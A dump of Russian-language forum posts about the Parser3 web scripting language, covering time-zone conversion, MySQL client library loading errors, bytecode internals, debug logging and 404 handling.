А как установить соответствие между названием (или координатами) города и его часовым поясом? Может есть какая-нибудь открытая база данных?\
\
Задача - выводить даты для разных населенных пунктов по их местному времени. Конечно же, с учетом перехода на летнее. \
\
Кстати, насколько я понимаю, нельзя Парсером перевести дату из GMT в произвольный часовой пояс. Можно только в свой или из своего в произвольный. Или я ошибаюсь?"
"58614","[code]\
@auto[]\
$dNowLocal[^date::now[]]]\
$dNowGMT[^date::create[$dNowLocal]]\
^dNowGMT.roll[TZ;GMT]\
$fAddThisToLocalTimeAndYouWillGetGMTTime($dNowGMT-$dNowLocal)\
\
@main[]\
$sKnownTimeInGMT[2007-01-01 00:00:00]\
$dKnownTimeNotYetInGMT[^date::create[$sKnownTimeInGMT]]\
$dKnownTimeInGMT[^date::create($dKnownTimeNotYetInGMT+$fAddThisToLocalTimeAndYouWillGetGMTTime)]\
[/code]"
"58615","первая ссылка с результата поиска \"time zone map\":\
http://www.worldtimezone.com/"
"58616","Осталось только написать парсер и затырить всю их базу ))\
\
К тому же, для Москвы пишет \"Daylight Saving Time: DST not in use\"."
"58620","Добрый день!\
\
Подскажите пожалуйста, можно ли на основании rfc2616 составить подобный ассёршн для тестплана браузера:\
\
If Content-Encoding header is defined, but content is not actually encoded, the user agent must render content successfully.\
\
Ожидается, что браузер успешно отобразит контент в окне."
"58621","того, чтоб когда жмёшь источник, автоматом прокручивалось на то место где был поставлен курсор? Допустим выделил слово, нажал источник и оно там тоже выделено и прокручивать не надо... ;)\
\
Если кто-то правил - поделитесь, пожалуйста.... ;)"
"58622","этот режим in use только летом."
"58623","вы тут один ответ ещё опубликовали с тотально ошибочной строчкой кода, я его стёр, чтоб не смущать окружающих.\
\
\
недавно: \
стою я[paf] в сбербанке про очередной кредит, в соседнее окошко бабка: «доочкааа, я тут слышалааа про бесплаатные кредиты. чтоо сбербаанк даёёт. гдеее взяяять тоо?»\
\
бабульке несчастная из окошка мягко втолковывает, что сбербанк такие не выдавал, не выдёт, и выдавать никогда не будет.\
\
бабулька уходит (в полном убеждении, что сейчас её неправду говорят).\
\
через 3 секунды другая бабулька из соседней очереди в то же окошко: «так как же насчёт бесплатного кредита?! я тут подумала(!) и мне бы такой кредит тоже бы не помешал!»."
"58624","У меня заработало вот так:\
\
[code]$dNowLocal[^date::now[]]\
$dNotYetInGMT[^date::create($dNowLocal)]\
^dNotYetInGMT.roll[TZ;GMT]\
\
# $dNowGMT[^date::create($dNotYetInGMT)] ^rem{ Эта строчка ничего не меняет }\
$dNowGMT[^date::create($dNotYetInGMT.year;$dNotYetInGMT.month;$dNotYetInGMT.day;$dNotYetInGMT.hour;$dNotYetInGMT.minute;$dNotYetInGMT.second)]\
$fAddThisToLocalTimeAndYouWillGetGMTTime($dNowGMT-$dNowLocal)\
\
$sKnownTimeInGMT[2007-03-01 15:00:00]\
$dKnownTimeNotYetInGMT[^date::create[$sKnownTimeInGMT]]\
$dKnownTimeInGMT[^date::create($dKnownTimeNotYetInGMT+$fAddThisToLocalTimeAndYouWillGetGMTTime)]\
\
^dKnownTimeInGMT.sql-string[]\
\
<p>^fAddThisToLocalTimeAndYouWillGetGMTTime.format[%.5f]</p>[/code]\
\
Я просто заметил, что вот такая строчка:\
[code]$dNowGMT[^date::create($dNotYetInGMT.year;$dNotYetInGMT.month;$dNotYetInGMT.day;$dNotYetInGMT.hour;$dNotYetInGMT.minute;$dNotYetInGMT.second)][/code]\
даёт нужный эффект, а такая:\
[code]$dNowGMT[^date::create($dNotYetInGMT)][/code]\
ничего не меняет.\
Видимо, ^date.roll[TZ] влияет только на отображаемые поля объекта класса date. Так?"
"58627","Интенсивное использование hashfile с числом элементов в нем порядка 100 приводит к падению apache 1.3.37 спустя 20-40 минут после его перезагрузки. \
Свободной памяти в момент падения - Гиг.\
Операционка CentOS 4.4\
Parser 3.1.6 cgi\
\
Куда смотреть для баг-репорта или может быть следует обновить версию parser?"
"58629","Что за рассылка?\
\
Подробнее."
"58633","немного деталей к [url=\"http://www.parser.ru/forum/?id=47049\"]#1[/url] для тех, кто непуглив.\
\
всё не так страшно, как кажется.\
мы компилируем в байт-код, т.е. в массив неких \"Operation\".\
каждый Operation может быть одним из нескольких штуковин.\
у каждой штуковин не написано, что это (используется union) просто есть соглашение что за чем следует: Operation.code подразумевают, что ноль, одна или две следующих Operation суть параметры этой.\
штуковины:\
[code]\
	OPCODE code; ///< operation code\
[/code]\
скажем OP_ADD = \"снять два верхних элемента со стека, сложить их между собой, результат положить обратно на стек\"\
[code]\
	Origin origin; ///< not an operation, but rather debug information: [OP_VALUE; debug_info; Value*]\
[/code]\
так пишу debug info\
[code]\
	Value* value; ///< not an operation, but rather value stored after argumented op\
[/code]\
это параметр только что указанной операции, скажем за Operation где лежит .code=OP_VALUE следует Operation.value где лежит значение, которое нужно положить на стек\
[code]\
	ArrayOperation* ops; ///< not an operation, but rather code array stored after argumented op\
[/code]\
это параметр предыдущей операции, когда данных нужно много.\
например, у вызова параметр - код вычисления аргуметов.\
\
возмём простой код\
[code]\
$c($a+$b)\
[/code]\
parser-компилятор даст такой байткод.\
[i]пишу из головы, практический может чуть отличаться — кому не лень, пусть проверит и опубликует тут результат отладочной печати, если снять этот комментарий: \"//#define DEBUG_EXECUTE\"[/i]\
\
[code]\
Operation.code OP_WITH_ROOT\
Operation.code OP_VALUE\
Operation.origin file#1, line#11231, col#54\
Operation.value VString(\"c\")\
Operation.code OP_PREPARE_TO_EXPRESSION\
Operation.code OP_WITH_READ\
Operation.code OP_VALUE\
Operation.origin file#1, line#11231, col#57\
Operation.value VString(\"a\")\
Operation.code OP_GET_ELEMENT\
Operation.code OP_WITH_READ\
Operation.code OP_VALUE\
Operation.origin file#1, line#11231, col#59\
Operation.value VString(\"b\")\
Operation.code OP_GET_ELEMENT\
Operation.code OP_ADD\
Operation.code OP_CONSTRUCT_EXPR\
[/code]\
\
у байтмашины, которая это выполняет, нет регистров, всё тупо: живём в стеке (убираю debug info):\
\
[code]Operation.code OP_WITH_ROOT[/code]\
	положить в стек адрес хранилища, куда будем записывать элемент\
[code]Operation.code OP_VALUE[/code]\
[code]Operation.value VString(\"c\")[/code]\
	положить в стек строку \"c\"\
[code]Operation.code OP_WITH_READ[/code]\
	положить в стек адрес хранилища, откуда будем читать элемент\
[code]Operation.code OP_VALUE[/code]\
[code]Operation.value VString(\"a\")[/code]\
	положить в стек строку \"a\"\
[code]Operation.code OP_GET_ELEMENT[/code]\
	снять со стека имя \
	снять со стека адрес хранилища\
	положить в стек значение \"хранилище->get_element(имя)\"\
[положить в стек значение $b, абсолютно такое же, как $a]\
[code]Operation.code OP_ADD[/code]\
	снять со стека значение\
	снять со стека значение\
	сложить их\
	результат положить в стек\
[code]Operation.code OP_CONSTRUCT_EXPR[/code]\
	снять со стека значение\
	снять со стека имя\
	снять со стека адрес хранилища\
	сделать хранилище->put_element(имя, значение)\
\
\
ещё подробнее:\
[code]\
Operation.code OP_WITH_ROOT\
\
		case OP_WITH_ROOT:\
			{\
				stack.push(*method_frame);\
				break;\
			}\
[/code]\
т.е. положить на стек адрес того места, куда мы будем записывать переменную.\
объект method_frame хитрый, и локальные переменные записывает в себя, остальное пропускает в \"self\" (который суть текущий объект или текущий класс).\
[code]\
Operation.code OP_VALUE\
Operation.origin file#1, line#11231, col#54\
Operation.value VString(\"c\")\
\
		case OP_VALUE:\
			{\
				debug_origin=i.next().origin;\
				Value& value=*i.next().value;\
				stack.push(value);\
				break;\
			}\
[/code]\
увидев OP_VALUE, байтмашина высасывает next() две Operation, выдирает из них \
* debug info на всякий случай (для stacktrace), \
* само значение\
кладёт значение в стек\
\
[code]Operation.code OP_PREPARE_TO_EXPRESSION[/code]\
\
эта штука переключает флажок runtime оптимизации, отключая проверки, которые не нужны при обработке выражения.\
[code]\
Operation.code OP_WITH_READ\
\
		case OP_WITH_READ: \
			{\
				stack.push(*rcontext);\
				break;\
			}\
[/code]\
т.е. положить на стек адрес того места, откуда мы будем считывать переменную.\
по сути, это тоже method_frame.\
\
...\
[code]\
Operation.code OP_ADD\
\
		case OP_ADD: \
			{\
				Value& b=stack.pop().value();  Value& a=stack.pop().value();\
				Value& value=*new VDouble(a.as_double() + b.as_double());\
				stack.push(value);\
				break;\
			}\
\
Operation.code OP_CONSTRUCT_EXPR\
\
		case OP_CONSTRUCT_VALUE:\
			{\
				Value& value=stack.pop().value();\
				const String& name=stack.pop().string();  debug_name=&name;\
				Value& ncontext=stack.pop().value();\
				put_element(ncontext, name, value);\
\
				break;\
			}\
[/code]"
"58634","http://content.mail.ru/pages/p_21671.html"
"58635","Я тут слышал:) что Парсер может не только отсылать письма, но и принимать. А где почитать как пользоваться этим методом?\
\
[code]^mail:receive[][/code]"
"58636","в этой версии тоже баг с хешфайлами. ПАФ & Co. обещали поправить в новой версии. Ждем."
"58637","Версия Parser 3.2.1 (Win32), который идет с Джентельменским набором.\
\
В скрипте код:\
\
[code]^try{\
	^MAIN:pSQL.server{\
		^MAIN:pSQL.void{\
			^tablesCreate[$sSQL]\
		}\
	}\
}{\
	$exception.handled(1)\
	^alert[Не могу сохранить таблицы в базу данных! И похоже это надолго!]\
}[/code]\
\
Значение $sSQL:\
\
[code]-- create_fields.sql\
DROP TABLE IF EXISTS `template_field`;\
CREATE TABLE `template_field` (\
`id` int(11) NOT NULL auto_increment,\
`fid` varchar(255) NOT NULL default '',\
`name` varchar(255) NOT NULL default '',\
`type` varchar(255) NOT NULL default '',\
`manageshown` int(1) NOT NULL default '0',\
`options` varchar(255) NOT NULL default '',\
`width` int(11) NOT NULL default '0',\
`height` int(11) NOT NULL default '0',\
`maxlength` int(11) NOT NULL default '0',\
`value` varchar(255) NOT NULL default '',\
`error` varchar(255) NOT NULL default '',\
`ord` int(11) NOT NULL default '0',\
PRIMARY KEY (`id`),\
KEY `FID` (`fid`,`ord`)\
) ENGINE=MyISAM;\
INSERT INTO `template_field` (`id`, `fid`, `name`, `type`, `manageshown`, `options`, `width`, `height`, `maxlength`, `value`, `error`, `ord`) VALUES ('', 'source', 'path', 'text', 1, 'readonly', 50, 0, 255, '', '', 100);\
INSERT INTO `template_field` (`id`, `fid`, `name`, `type`, `manageshown`, `options`, `width`, `height`, `maxlength`, `value`, `error`, `ord`) VALUES ('', 'source', 'text', 'textarea', 1, '', 80, 24, 0, '', '', 110);[/code]"
"58638","Вы объединили в один запрос сразу четыре:\
\
1. Удаление таблицы\
2. Создание таблицы\
3 и 4. Добавление данных\
\
Парсер так не умеет, нужно по очереди их выполнять."
"58639","Не могу установить парсер.\
1. Заливаю parser3.cgi в cgi-bin в режиме binary.\
2. Ставлю парсеру права 755\
3. Прописываю необходимые строки в .htaccess\
\
Получаю ошибку 500 Internal server error\
В error log содержится следующая строка:\
[b]Premature end of script headers: /home/ainfo/public_html/cgi-bin/parser3.cgi[/b]\
\
Параметры сервера таковы:\
Operating system	Linux\
Service Status	Click to View\
Kernel version	2.6.11.7-grsec\
Machine Type	i686\
Apache version	1.3.36 (Unix)\
PERL version	5.8.1\
PHP version	4.3.11\
MySQL version	4.0.27-standard-log\
cPanel Build	10.8.2-STABLE 120"
"58643","Похоже общение попьяне русского с французом. Отдельные слова понятны, но целой картины не видно.\
А жаль."
"58644","подскажите, пожалуйста, как альтернативное описание к картинке добавить, если описание картинки сводится к [_IMG 4 # T]\
сайт создали и пользовательскую панель сделали, а как текст сделать не говорять\
заранее спасибо"
"58645","[b]По каким причинам может возникать эта ошибка?[/b]\
\
[code]Источник:  ./lib/libparser3mysql.so\
Описание:  can't open the module [/code]\
\
Дело в том, что на одном и том же сервере, но на разных виртуальных серверах, стоит одна и та же копия Парсера. На одном работает, на другом такая ошибка.\
\
И чем отличаются ошибки:\
\
[code]./lib/libparser3mysql.so\
driver failed to initialize client library 'libmysqlclient.so', can't open the module[/code]\
\
от просто\
\
[code]./lib/libparser3mysql.so\
can't open the module[/code]"
"58647","Есть поиск, а нем можно набрать несколько буковок, а можно просто скопировать/вставить свое сообщение об ошибке и почитать.\
\
Раз - http://www.parser.ru/forum/?terms=%22can%27t+open+the+module%22&author=&doSearch=%CD%E0%E9%F2%E8\
\
Два - http://www.parser.ru/forum/?terms=%22driver+failed+to+initialize+client+library%22&author=&doSearch=%CD%E0%E9%F2%E8\
\
обратите внимание на количество сообщений с этими ошибками - большая часть из них потому что люди не используют поиск."
"58648","Здравствуйте.\
Проблема вот какая. Хочу сделать поиск на сайте с помощью Яндекс.XML. Запрос нужно делать методом POST, предварительно указав ряд параметров (пример на перле http://xml.yandex.ru/games/site-search.html )\
\
Мне нужно загрузить с адреса http://xmlsearch.yandex.ru/xmlsearch результат запроса в XML. \
^xdoc:load[...] делает это методом GET. Есть ли возможность выполнить запрос методом POST?\
Пытался делать ^file:load[...] - в половине случаев вылазит 400 ошибка, что файл не успел загрузиться и время ожидания закончилось."
"58649","что значит\
[quote]описание картинки сводится к [_IMG 4 # T][/quote]\
?\
обычно достаточно добавить описание в аттрибут alt тега img.\
[code]<img src=\"...\" alt=\"alternative text goes here\" />[/code]"
"58650","И с хостером бодался. Пока не вышло дело. Мне бы причины знать. А то как слепой что-то непонятное делаю, чтобы случайно заработало. Часто бывает, что такая ошибка появится, с хостером свяжусь, он что-то долго делает, вдруг ошибка пропадает. Объяснений никаких не дают. Вот и думай, чья ошибка, хостера или Парсера или своя собственная."
"58651","[quote]driver failed to initialize client library 'libmysqlclient.so', can't open the module\
\
Александр Петросян (PAF) 01.11.2006 21:52 \
\
скажу, что эту ошибку уже обсуждали \"пару раз\". думаю, поиск даст положительный результат.\
\
что до \"скомпилирован под архитектуру\", скажу, что вот тот бинарник, что сейчас вам печатает сообщения, \"под архитектуру\" не скомпилирован, но это не мешает ему нормально работать в режиме обратной совместимости операционки.\
\
вывод: осталась совсем малость, разобраться с libmysqlclient.so и будет порядок.\
для чего нужно сначала выключить компьютер.\
потом пойти поспать.[/quote]\
\
И как понять это? Получается, что нужно просто компьютер выключить, чтобы ошибка пропала. Ну да, с экрана пропадет конечно...\
\
Но что самое интересное, в конфиге прописан путь к libmysqlclient.so, так вот, если написать libmysqlclientTRATATA.so, то в логах ошибка будет та же самая, а не типа \"не могу найти файл libmysqlclient.so\". Отсюда вывод, до библы libmysqlclient.so еще дело не дошло просто напросто. Очевидно, что в другом месте ошибка."
"58652","значит что img заменяно [_IMG 4 # T], где 4-номер Идентификатора\
и с какой стороны к нему липить alt&"
"58653","Подозреваю, что система там не Линакс, и совместимая, и версия Парсера вам не подходит. СиПанель не определяет системы полностью. Узнайте точную ОС включая версию. Если есть такая версия Парсера - ставьте, если нет - придется собирать новый."
"58654","ну тут вариантов - всего 1. Найти код, который парсит этот мета-тег, и внести изменения.\
Кроме того не совсем понятно значение \"#\" и \"T\"."
"58656","... libparser3mysql.so (о которой вы писами в первом сообщении) или libmysqlclient.so (о которой вы пишите сейчас).\
\
это 2 _разные_ библиотеки.\
\
P.S. что до сообщения PAF-а, вот его мой вольный перевод: \"возможно вы запутались, устали, попробуйте отдохнуть и после этого ещё раз посмотреть на проблему. возможно решение лежит на поверхности, но из-за того что вы утомились вы в настоящий момент его не видите\"."
"58657","http://www.parser.ru/forum/?id=36408\
http://www.parser.ru/forum/?id=36866"
"58660","кстати, мне не совсем нравится то, что Парсер не умеет выполнять несколько запросов одним. Знаю, что это защита от инъекций, но это лишает возможности заливать созданный дамп одним махом. Парсить дамп на \";\" тоже не вариант, т.к. знаки могут быть в значениях полей. Хорошо, если дамп создан \"грамотной\" прогой, которая разделяет запросы по строкам - можно парсить по переводу строки. Но ведь не все проги такие.\
Мне раз прислали дамп в 18 метров, и строк там было всего 600 с лишним. Пришлось ставить локально сервер, заливать туда этот дамп, и экспортировать \"грамотно\". Лишние телодвижения. Хотя может они того стоят. Всетаки безопасность прежде всего."
"58661","А эти строки не дают представления о сервере?\
\
Operating system Linux\
Kernel version 2.6.11.7-grsec"
"58662","лично мне эти строки говорят немного. Позвоните в службу техподдержки - пусть скажут версию системы. Заодно узнайте версию БД. Узнайте, есть ли шелл-доступ, могут ли они собирать скрипты из исходников по желанию клиента. Заранее узнайте лимиты на работу пользовательских процессов."
"58663","Я внимательно это перечитал и сделал вывод, что скорей всего путь к какой-то из этих библиотек прописан неверно. А разве Парсер не может точно указать какой из этих файлов он не находит?"
"58664","Кстати, давно хотел спросить - нельзя ли в датах сообщений вернуть год, даже если он текущий...\
\
Когда что то ищешь - приходиться напрягать моск, пытаясь понять степень древности найденного сообщения\
\
А еще реально плохо, что нельзя искать спецслова, типа self,\
а по другому часто нельзя сформулировать запрос корректно"
"58665","В сообщении об ошибке указывается одна библа. При поиске по форуму выясняется, что возможно виновна другая библа. Хостер меня промурыжил тем, что я якобы неправильные данные доступа к БД даю своему скрипту. Уже несколько раз проверил - данные верны, файлы на месте. И как им быть не на месте, если все просто было скопировано с другого вирт.сервера того-же физ.сервера.\
\
И все-таки, Парсер может распознать что та или иная библа не находится (то есть путь к файлу неверный)?"
"58666","driver failed to initialize client library '[b]libmysqlclient.so[/b]', can't open the module"
"58667","Да, я действительно давно с этим парился. Вот даю свои экспериментальные данные:\
\
[code]timeout(6)[/code]"
"58668","- чтобы это появилось - это нужно реализовать. считаю что это время лучше потратить на дописывание какого-нить класса в examples или добавления новой фичи в парсер\
\
- какая разница, насколько древнее сообщение?\
\
- хм. попробуем подредактировать список слов, которые исключаются из полнотекстового поиска."
"58669","Вы считаете что сообщения \"модуль не открывается\" и \"не найден файл модуля\" одно и то же? Ну, тогда я конечно не прав. Значит путь к этому модулю надо прописать... Странно, почему тогда это произошло на одном физ.сервере?"
"58671","1. Тогда конечно. Я думал это уже реализовано, и вопрос заключается в установке/снятии галочки в админке. \
\
2. Более свежая информация - часто более (а иногда менее) актуальна. \
\
3. Было бы неплохо, потому что как то когда я захотел найти все треды, где упоминается self - я ничего не нашел\
то же касается. То же касается, например use (я даже писал об этом - осталось без внимания - http://www.parser.ru/forum/?id=54457)"
"58673","Я прописал полный путь:\
\
[code]/home/astrag/www/site1/cgi-bin/parser3/lib/libparser3mysql.so\
Описание:  can't open the module [/code]\
\
Парсер сообщает что файла нет. Но он ведь там есть? Как решить эту проблему?"
"58678","хотел начать использовать его на Linux Fedora 5\
наткнулся на эту проблему, парсер 3.1.3 работает без проблем\
может кто подскажет как можно решить эту проблему?\
повторюсь, что форум я уже почитал (обсуждалось в декабре 2005 года) - может кто решил за год эту проблему?"
"58679","Хостер сообщил путь к этой библиотеке. Но ошибка осталась:\
driver failed to initialize client library '/usr/local/lib/libmysqlclient.so', can't open the module\
\
Как с это исправить?\
Ведь файл на месте."
"58680","подскажите... где можно почитать про конвертирование Word , Excel , PPT в PDF?"
"58693","Реализовал в классе Debug.p возможность выводить \"события\" в виде дерева.\
По классу получается так, что события - это работа метода.\
\
[b]Пример использование[/b]\
[code]\
@main[]\
\
$oNewDebug[^Debug::create[\
	$.LOG_FILE[/../data/logs/test.xml]\
]]\
\
^method1[param1;param2]\
\
#end @main[]\
\
\
\
@method1[strParam1;strParam2][iEventID]\
### Debug Code\
^oNewDebug.event[method1][\
	$.strParam1[$strParam1]\
	$.strParam2[$strParam2]\
]{\
	^oNewDebug.item[sTest;$sTest]\
}\
$iEventID($oNewDebug.EVENT_ID)\
### Debug Code (end)\
\
\
^method2[\
	$.t1[T1]\
	$.t2[T2]\
	$.t3[T3]\
]\
^method2[]\
\
\
### Debug Code\
^oNewDebug.break($iEventID)\
### Debug Code (end)\
#end @method1[]\
\
\
\
@method2[hshParams][iEventID]\
### Debug Code\
^oNewDebug.event[method2][\
	$.hshParams[$hshParams]\
]\
$iEventID($oNewDebug.EVENT_ID)\
### Debug Code (end)\
\
\
^method3[]\
\
\
### Debug Code\
^oNewDebug.break($iEventID)\
### Debug Code (end)\
#end @method2[]\
\
\
\
@method3[][iEventID]\
### Debug Code\
^oNewDebug.event[method3]\
$iEventID($oNewDebug.EVENT_ID)\
### Debug Code (end)\
\
\
$result[]\
\
\
### Debug Code\
^oNewDebug.break($iEventID)\
### Debug Code (end)\
#end @method3[]\
[/code]\
\
\
[b]Пример log-файла[/b]\
[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<document>\
	<event date=\"2007-02-08 17:51:08\">\
		<!--ID: 1, PARENT_ID: 0, EVENTS: 1-->\
		<method>method1</method>\
		<params>\
			<item type=\"string\" name=\"strParam1\" length=\"6\">param1</item>\
			<item type=\"string\" name=\"strParam2\" length=\"6\">param2</item>\
		</params>\
		<additional>\
			<item type=\"string\" name=\"sTest\" length=\"0\"/>\
		</additional>\
		<event date=\"2007-02-08 17:51:08\">\
			<!--ID: 2, PARENT_ID: 1, EVENTS: 2-->\
			<method>method2</method>\
			<params>\
				<item type=\"hash\" name=\"hshParams\">\
					<item type=\"string\" name=\"t1\" length=\"2\">T1</item>\
					<item type=\"string\" name=\"t2\" length=\"2\">T2</item>\
					<item type=\"string\" name=\"t3\" length=\"2\">T3</item>\
				</item>\
			</params>\
			<event date=\"2007-02-08 17:51:08\">\
				<!--ID: 3, PARENT_ID: 2, EVENTS: 3-->\
				<method>method3</method>\
			</event>\
		</event>\
		<event date=\"2007-02-08 17:51:08\">\
			<!--ID: 4, PARENT_ID: 1, EVENTS: 4-->\
			<method>method2</method>\
			<params>\
				<item type=\"string\" name=\"hshParams\" length=\"0\"/>\
			</params>\
			<event date=\"2007-02-08 17:51:08\">\
				<!--ID: 5, PARENT_ID: 4, EVENTS: 5-->\
				<method>method3</method>\
			</event>\
		</event>\
	</event>\
</document>\
[/code]\
\
\
[b]Удобства и неудобства.[/b]\
\
1. Кодер контролирует процесс создания дерева.\
[i]Есть возможность иметь класс-прослойку для вывода Debug-информации. По мере необходимости подключать нужный класс.[/i]\
\
2. До появления ошибки можно увидеть результат работы всех методов.\
\
\
P.S. Меня класс устраивает во многом. При возникновении ошибки, человек мне просто скидывает результат работы (XML) и информацию об ошибке, там уже видно что происходило."
"58695","На одном сервере ошибка выглядит так:\
\
[code]Источник:  ./lib/libparser3mysql.so\
Описание:  driver failed to initialize client library '/usr/local/lib/mysql/libmysqlclient.so', can't open the module[/code]\
\
На другом так: \
\
[code]Источник:  ./lib/libparser3mysql.so\
Описание:  can't open the module [/code]\
\
Как я уже выяснил из ответов на мой вопрос про эту ошибку - слова can't open the module означают, что Парсер не может найти файл модуля. В первом случае видно, что невозможно найти файл libmysqlclient.so. Но что он не может найти во втором случае???"
"58698","Спасибо, добрый человек! Ваша сборка мне очень пригодилась!!"
"58700","Проблемма решена.\
Нужна была сборка под Debian."
"58701","а то по ссылке http://www.opensea.tv/parser3/ нету кажется\
заранее будем очень признательны"
"58702","Подскажите пожалуйста!!!\
Как назначить один обработчик parser3.cgi для нескольких доменов.\
Хостинг на FreeBSD, панель DirectAdmin 1.28.6, Apache 1.3.37\
На одном аккаунте есть несколько доменов, в каждом домене есть public_html в котором есть cgi-bin, в котором лежит parser и все работает. Хотелось бы иметь одну папку, в котором бы находился парсер, а со всех доменов ссылаться на нее. Возможно ли такое сделать?\
Перерыл все что было для меня доступно - не могу сообразить, как сделать.\
Вызов парсера с определенного домена не помогает..."
"58703","Я искал по слову receive и ничего не нашел. Там вообще просто лог изменений в парсере. Я хочу узнать описание использования этого метода, какие параметры, что на выходе и прочее. И примеры неплохо было бы."
"58706","Здравствуйте, уважаемые!\
\
Кто хочет получить небольшую сдельную работу - периодическое решение проблем с libmysqlclient.so и прочими проблемами установки Парсера на разные хостинги?\
\
Я буду вам платить за то, что вы снимете с меня эту проблему.\
\
Сейчас имеется два сервера, где эта трабла не решена.\
\
Пишите по адресу: info@delta-x.info"
"58707","Сам парсер размещаю в корне учетной записи /cgi-bin/parser3\
И в каталоге cgi-bin каждого вирт.сервера делаю симлинк."
"58711","перестало ругатся что не может прочитать этот файл, но появилось:\
Premature end of script headers :("
"58713","- если задан ключ 'g' - в таблице количество строк == кол-ву совпадений\
- если не задан ключ 'g' - в таблице одна строка\
- если есть скобки в шаблоне - столбцы таблицы не пусты\
- если не найдено совпадений - пустая таблица (0 строк)"
"58716","Я понимаю: если идет отладка, включен метод типа @unhandled_exception_debug - да, тогда все понятно.\
\
Но_зачем_выдавать_вместо 404 @unhandled_exception по_умолчанию?\
\
Внизу страницы http://www.parser.ru/faq/errors/ указан метод подстановки:\
^if($exception.type eq \"file.missing\"){		$response:location[/404.html]\
	}\
Спросите у Яндекса (© Яндекс) про такое решение, они Вам много интересного расскажут: что бывает с индексацией сайта, когда вместо 404 подсовывают 200.\
\
И объясните мне, идиоту, если не затруднит, как отдать именно 404 (без записи об ошибке в логе Парсера), а не 200 и 404.html \
Думаю, что не только мне это будет интересно. \
Нашел более ранее обсуждение этой темы (http://www.parser.ru/forum/?id=52651), но, как тут принято, вместо дела началась лирика. \
Вот этот совет http://www.parser.ru/forum/?id=52657 у меня срабатывает, но оставляет в логе запись\
[Thu Feb  8 20:32:13 2007] [11157] /abrakadbra.html: '.../abrakadbra.html' read failed: No such file or directory (2), actual filename '.../abrakadbra.html' [file.missing]"
"58720","Во втором случае он его нашел, но не смог открыть - открывалку дома забыл или передумал открывать.\
Если серьезно - скорее всего закачалось в ascii вместо binary"
"58722","мы подразумеваем, что автор кода 404 страницы напишет в ней такое: $response:status(404)\
\
предотвратить запись в лог можно перехватив исключение ( $exception.handled(1) ) в методе @unhandled_exception (не знаю есть-ли это в 3.2.1, в head кажется есть)\
\
P.S. дописал про status в FAQ\
P.P.S. сообщения с наездами буду продолжать удалять"
"58724","Мы так и не поняли друг друга. Я догадываюсь, в чем дело: для вас это просто принципиально, что Парсер приходит на вебсервер и говорит ему: твой номер - 16-й. Я благодарен Вам за ответ, но тем не менее на мой вопрос Вы так и не ответили.\
\
P.S. И все \"наезды\" связаны именно с Вашим подходом, а не с частными конкретными случаями. Я предлагаю Парсеру не брать на себя то, что прекрасно делает вебсервер и _принято_ на гораздо более высоком уровне. Принято во всем мире."
"58726","Я имел ввиду конвертер enterprise уровня :)\
тоесть мож Java комплект , мож перловый модуль...."
"58730","http://files.scandi.org/parser/libmysql.tar.gz\
http://files.scandi.org/parser/parser316_with_XML.tar.gz\
http://files.scandi.org/parser/parser321_with_XML.tar.gz"
"58732","у вас было 2 вопроса:\
1. \"где логика?\"\
2. \"Но_зачем_выдавать_вместо 404 @unhandled_exception по_умолчанию?\"\
\
на первый вопрос я отвечать не стал, т.к. ответ как мне кажется очевиден: у каждого логика своя.\
\
на второй я попытался ответить, но в связи с тем, что задан он был не очень внятно, я похоже не угадал что вы имели в виду.\
\
в том вашем сообщении, на котоое я пишу ответ сейчас, вопросов вроде нет. есть какие-то непонятные претензии. и у меня складывается впечатление что опять-же не правы вы (не читали спецификацию на CGI интерфейс). _вы_ назначили парсер обработчиком документов на веб сервере (а не \"парсер пришел\", как вы утверждаете). апач [url=\"/forum/?id=9089\"]отдает запрос на растерзание[/url] cgi скрипту (заметьте, ответ от 2002 года). парсер тут не при чем, мы лишь можем посоветовать как можно сделать так, чтобы в случае отсутствия документа, парсер таки инициировал стандартный процесс обработки 404 ошибки апачем (написано не раз, в том числе и в треде, на который вы ссылались в корневом сообщении и в котором вы углядели лишь лирику, но не код, демонстрирующий что предложенный вариант работает), пусть и несколько извращенным способом. использовать эти советы (как впрочем и парсер) или нет - решать вам.\
\
P.S. поясните про подход? мы вам денег что-ли должны? мы не принуждаем пользоваться парсером. мы отвечаем на вопросы в меру сил. нам кажется нормальным что мы не отвечаем на вопросы по многу раз или на вопросы, не касающиеся парсера непосредственно. все равно что-то не нравится? ну не приходите сюда, вас-же никто не держит."
"58733","Порылся по форуму... давно чтото было... но никакой конкретики...\
мож кто нибудь уже интегрировал парсер в Eclipse ?"
"58734","Как сказывается на работе скрипта количество определенных методов\
[code]@method1[ds]\
@method1[dsf][aa][/code]\
итд"
"58735","ведь код методов нужно считать с диска, откомпилировать...\
\
другое дело что порой один метод может выполняться дольше чем 200 будут считываться и компилироваться.\
\
P.S. цифры вам никто не скажет по причине их отутствия. поищите по форуму - найдете причины этого."
"58737","это я стормозил."
"58738","хостер переходит на 64битные операционки.\
старые бинарники обычно продолжают работать в режиме 32битной совместимости,\
а вот libmysqlclient.so выложен уже новый, 64битный.\
\
с ним 32битный parser работать не может.\
мы пока не нуждались сами в 64битном parser и голову себе этим не забивали.\
\
но на форуме люди уже спрашивали и успешно выходили из ситуации, найдя libmysqlclient.so под 32битную версию своей системы.\
\
система 64бит, parser3 32бит + libmysqlclient.so 32бит = вполне работает."
"58740","вот мы и не напрягались.\
3.2.1 уже собиралась с галочкой о которой [url=\"http://www.parser.ru/forum/?id=47808\"]писалось[/url].\
\
эта же галочка стоит в buildall*.\
\
ещё можно попробовать собрать на вашей машине, возможно, есть какая-то неизвестная нам (и автору libgc) тонкость."
"58742","[quote]> > попробуйте /usr/local/lib/mysql/libmysqlclient.so.14\
> \
> Не работает:\
> driver failed to initialize client library\
> '/usr/local/lib/mysql/libmysqlclient.so.14', can't open the module\
> \
> Эта ошибка всплывает по адресу: http://hortek-center.spb.ru/\
\
\
Вам стоит проверить все файлы, на наличие в коде символа ^M, ибо он не\
допустим в скриптах подобного рода, так как считается полноправным символом,\
как точка или запятая, на самом деле, являясь переводом строки в windows.\
Увидеть его можно, подключившись и открыв файлы через shell доступ.[/quote]\
\
И как это понять???"
"58743","или таки пошли и посмотрели содержимое файла operators.txt?\
\
P.S. эх, надо и мне выкинуть ненужные знания, может я тоже стану программистом. хотя бы не отличным, а более-менее... ну или мне хотя-бы будет казаться что я такой %-)"
"58744","А если просто собрать Парсер на сервере с ОС64битной, то Парсер станет 64-битным?"
"58747","Особенно внимательно посмотрите на [url=\"http://www.parser.ru/forum/?id=36866\"]данное сообщение[/url].\
\
Что у вас в конфигурационном файле auto.p?\
\
